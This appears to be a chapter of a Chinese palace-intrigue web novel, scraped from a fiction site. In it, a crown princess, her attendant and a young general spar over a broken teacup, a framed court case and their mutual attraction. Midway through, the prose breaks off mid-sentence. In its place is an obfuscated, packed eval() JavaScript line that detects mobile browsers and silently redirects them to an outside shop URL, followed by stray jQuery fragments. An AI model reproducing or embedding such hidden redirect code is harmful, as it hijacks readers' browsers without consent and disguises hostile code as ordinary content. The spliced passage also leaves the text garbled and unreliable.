文趣网 > 都市小说 > 江山难渡 > 23. 攻心为上
    屋内的气压着实冷得骇人,也难怪那冰裂茶盏早早寻了短见,主子身边这些人斗得势同水火,它不如趁早溜号,还来得及投个好胎。

    那短命盏的残骸就这么瘫着也不是个办法,文容开口打碎了屋内的沉默,“殿下,今日的饭菜可还合胃口?”

    “不错。”

    谢祈安尽力扯出灿烂的笑,文容忙活了一早上,她实在不愿糟蹋了他的一片心意,可轻蹙的眉头还是出卖了她。

    “没胃口便不吃吧。”文容了然笑笑,拿了个空匣子,附下身子给地上决然自尽的茶盏收尸,惋惜道:“这杯子碎成这样怕是修不好了,属下先收起来,回头拿到纪师傅那儿看看能不能起死回生。”

    谢祈安没作声,算是默认了。

    “给我吧。”沈长策实在过意不去,主动揽了这瓷器活儿,“这两日殿下被禁足,宫内外我当值进出方便些。”

    这套裂冰纹茶盏谢祈安平时护得跟眼珠子似的,如今有人伤了她一只眼,还扬言要带走,文容拿不准她的主意,偏头望向她,等她发话。

    谢祈安这人特别扭,她心爱的东西向来不许人碰,就是再老旧的物件坏了也不扔,还偏要再淘个一模一样的补上,这才算完。瞧着自己的心肝,碎渣渣的躺在匣子的绒布上,她心疼坏了。

    “成。”

    她答应得爽快,好说话到沈长策都有些讶异。他顺势接过文容手中的木匣子,在谢祈安不舍的注目礼下,缓缓合上了盖子,妥当封存了她小心肝的尸体。

    “殿下放心,在下定当尽力而为,争取完璧归赵。”沈长策心中着实过意不去,暗自记下那纪师傅的铺子,又交代了几句。

    青玉炉里的沉香不知不觉已燃尽,先前香气强压下去的那股躁意又开始死灰复燃,在二人心间撩拨个不停,极速攀升。

    “完璧归赵?”谢祈安饶有趣味地思索着,戏谑道:“将军若是不能还孤个完璧,又当如何?”

    沈长策面儿上有些挂不住,十七八岁的少年正是好面子的年纪,他自是不愿败了下风,想也没想,将问题又抛了回去,“殿下要如何?”

    “孤要什么,将军都舍得?”

    沈长策思忖片刻,不自然地挠了挠脖子道:“只要我有。”

    这话拿出去骗骗小女孩儿得了,沈长策这吝啬鬼能舍得吐出什么好东西来。

    未待她回话,沈长策率先挑开了话题,“今日那数十条百姓冤案外戚一党早有预谋,殿下可有对策?”

    “将军慎言,祸从口出,人一向怕什么来什么。”

    谢祈安撂了碗筷,望着满桌佳肴叹了口气,今日她是没这口福了,往后文容再下厨,定要叫他挑个吉利日子。

    沈长策瞧她这副哀不思蜀的懒散样,算是头一遭体会了诸葛先生扶不起阿斗的无奈。不过,谢祈安倒是比刘家那阿斗强,她不仅人长得好,身上还有股不屈不挠的劲儿。这样的人就是把她扔到那人吃人的冷宫里,她也能活出花儿来。

    眼瞧着二位爷又要针尖对麦芒,一旁的文容连忙挑了些能说的开口:“殿下,大理寺来信儿了。”这话是朝着谢祈安禀的,可他那双眼睛却满是戒备,死咬着沈长策不松口。

    饶是大脑放空的沈长策也感受到了敌意,最近他在东宫的风评竟如此恶劣?他不禁怀疑着自己。看来,待会儿休憩得买通几个小宫女,就着他早朝极力护主的场面嚼嚼舌根。

    谢祈安朝他扬扬下巴,示意他接着说下去。

    “宋……”刚想喊大名儿,听说沈长策跟这国公府的世子爷颇有交情,文容到嘴边的话又咽了回去,重新整句待发,说:“宋大人不知从哪个犄角旮旯里捞了个人证,眼下正往大理寺去呢!”

    “什么人?”谢祈安拍手招来了小黑,黑猫机灵得很,一个纵身就老实趴到了谢祈安的身上。她乐呵两声,搂过这机灵鬼颠了两下,“这几日它倒是胖了不少!”

    “苍术跟它亲,近日这小子好学得很,总往福禧宫里跑,说是贵妃娘娘身边的苒荼姑娘有一手照顾猫狗的绝活儿,这不小黑的伙食都改善了不少。”

    见这主仆二人把话闲谈,满脸松弛,还乐呵逗着猫,沈长策有些坐不住了。不对,照谢祈安那走一步想百八十步的性子,她绝不会让自己陷入被动的窘境。苒荼?她怎么会跟东宫的人走动?此事定有蹊跷,他按耐住心性听了下去。

    “吃胖点儿好,省得挨人欺负。”谢祈安顺着小黑背上的毛,欣然笑着,“叮嘱苍术那小子在宫里别乱跑,哪日叫人害了他找谁哭去。”

    说者无意,听者有心,这话落到沈长策耳朵里,怎么听也不是滋味儿。后来他才得知,这出折子戏是主仆二人特意为他唱的。

    “宋大人这回又是抓的哪家的卖命羊顶包?”

    聊着聊着,谢祈安将话题又引回了正轨。话锋转得生硬,生怕沈长策听不出来弦外之音似的,句句诛心。她饶有趣味地打量着沈长策的神色,不知爱民如子的沈大将军知不知他敬爱的好兄长是个草菅人命的佞臣。

    宋时韫人前风光霁月惯了,世人都忘了,身处在这门阀士族的淤泥里,唯有淌过躺满无辜者的血泊,方可换得这两袖清风。

    沈长策打小敬重他,不舍忤逆他叫他伤心,她偏要当面儿剥开宋时韫那层苦心维护,虚伪、令人作呕的鲜皮。

    “殿下慎言。”沈长策把玩戒圈的手紧了紧,下意识替他兄长辩解,“大哥他一向清廉,是个护民的好官。”

    主仆二人跟没听见似的,继续着先前的对话。

    沈长策的反应不像是此案的参与者,倒像是个被逼无奈,端坐一旁听故事的看客。

    “说是张府的厨子,昨夜他正巧在外吃酒,回府晚了些,半道上碰见我们行凶。”文容安了心,继续交代着那人胡诹的证词,忍不住发笑,“谁编的蹩脚由头,咱们同那批人在城郊动的手,那荒无人烟的地儿,哪儿来的酒楼。”

    “沈长策。”

    谢祈安突的点名儿,沈长策一个激灵,下意识坐直了腰杆。

    “瞧见没有?”谢祈安问他。

    “瞧见什么?”木讷如沈长策,他这脑子一到谢祈安身边儿,跟被夺舍了似的,也难怪谢祈安总觉得他是个蠢的榆木脑袋。

    “大燕的未来。”

    谢祈安声音冷得不像话,她口中陈

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919175|213408||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    述的大燕没有未来。如今朝中风雨飘摇,百姓饱受天灾、流离之苦,掌权者不想着改善民生,为了争权夺利草菅人命已是常态。这样的大燕,她看不见未来。

    “你疯了?”沈长策忙伸手堵她的嘴,但为时已晚,他刻意压低了声量,“这东宫藏着多少双旁人的眼睛,不出半刻,殿下方才所言便会人尽皆知!”

    “人尽皆知才好,空有头衔的废物有什么好当的?”谢祈安那股叛逆劲儿上来,说得比方才更大声了些。

    温暖干燥的掌心紧贴少女柔嫩的唇瓣,一张一合间若有似无地蹭着掌心的痒痒肉,沈长策的心也被轻轻挠了一下,却痒得发慌。

    紧闭的殿门似是刻意拦住了流动的空气,屋内的温度攀升得飞快,被烫熟了的气儿化作红晕悄悄爬上了二人的脸颊。屋内时间凝结了般,谁也不知该说些什么。

    殿下好计策!只是这出美人计文容实在不好意思瞧,眼瞅着氛围差不多得了,他尴尬地咳了两声,自觉去外头望风,二位爷这才回过神来。

    “臣逾矩,殿下见谅。”沈长策语气有些别扭。

    “你一惯犯害什么羞?”

    谢祈安这话一出,他更是羞得无地自容,整个人似刚从澡堂里出来般,浑身闷得红通通的。

    他顺势接上了先前的话,“不做这储君,殿下想做什么?”他是真好奇,心里想着就这么秃噜到了嘴边儿。

    “做什么都可以啊。”谢祈安想起自己原本那有滋有味的人生,嘴角就忍不住扬起笑,“总归比做这笼里供人消遣的囚鸟强。”

    二人向来针锋相对,她鲜少在沈长策面前剖明内心,突的来上这么一回,沈长策倒有些无所适从。他不禁顺着谢祈安的话去想,若是没有搅进这泥潭,她定然活得自由又鲜活,就像他们儿时初见那般模样。

    “你呢?沈长策。”谢祈安问。

    “我什么?”

    “为何甘愿苦守凉州城那么多年?”凉州太远,消息闭塞,谢祈安远在金陵更是鞭长莫及,只能借这亲历者的嘴套套话了。

    小黑那机灵鬼这会儿跟打了鸡血似的搁屋里乱窜,连扑带蹦稳稳落到了沈长策怀里,他顺手颠巴了两下,是挺沉。他这个做主子的倒是头一回听说苒荼还有这本事,索性回头府里的阿猫阿狗的都送她那儿养,省事儿。

    “不知道。”沈长策捏捏小黑的脖颈,给它舒展着筋骨,这小东西被伺候舒坦了,乐得直咧嘴。“家在那儿吧。”

    他守着凉州的原因太复杂了,真要认真说道起来,沈长策自己也理不清。原先他只是从了宋时韫的安排,顺势出去历练一番,正巧避避风头。待久了也就舍不得走了,那儿的人纯善,好相处,日子也简单,总归两字儿——舒坦。

    此刻的谢祈安实难以理解他口中的“家”,这样桀骜的战神也会把一处边陲小镇视作自己的家吗?

    多年后,谢祈安行至凉州城,方才费劲吧啦弄明白,他口中的那个家所指何意。可那时的凉州早已满目疮痍,温馨不复了。

    人这一生大多庸庸碌碌,俗海浮沉不过是过眼云烟,争名夺利落得一场空。世人仍却前扑后继,所图为何呢?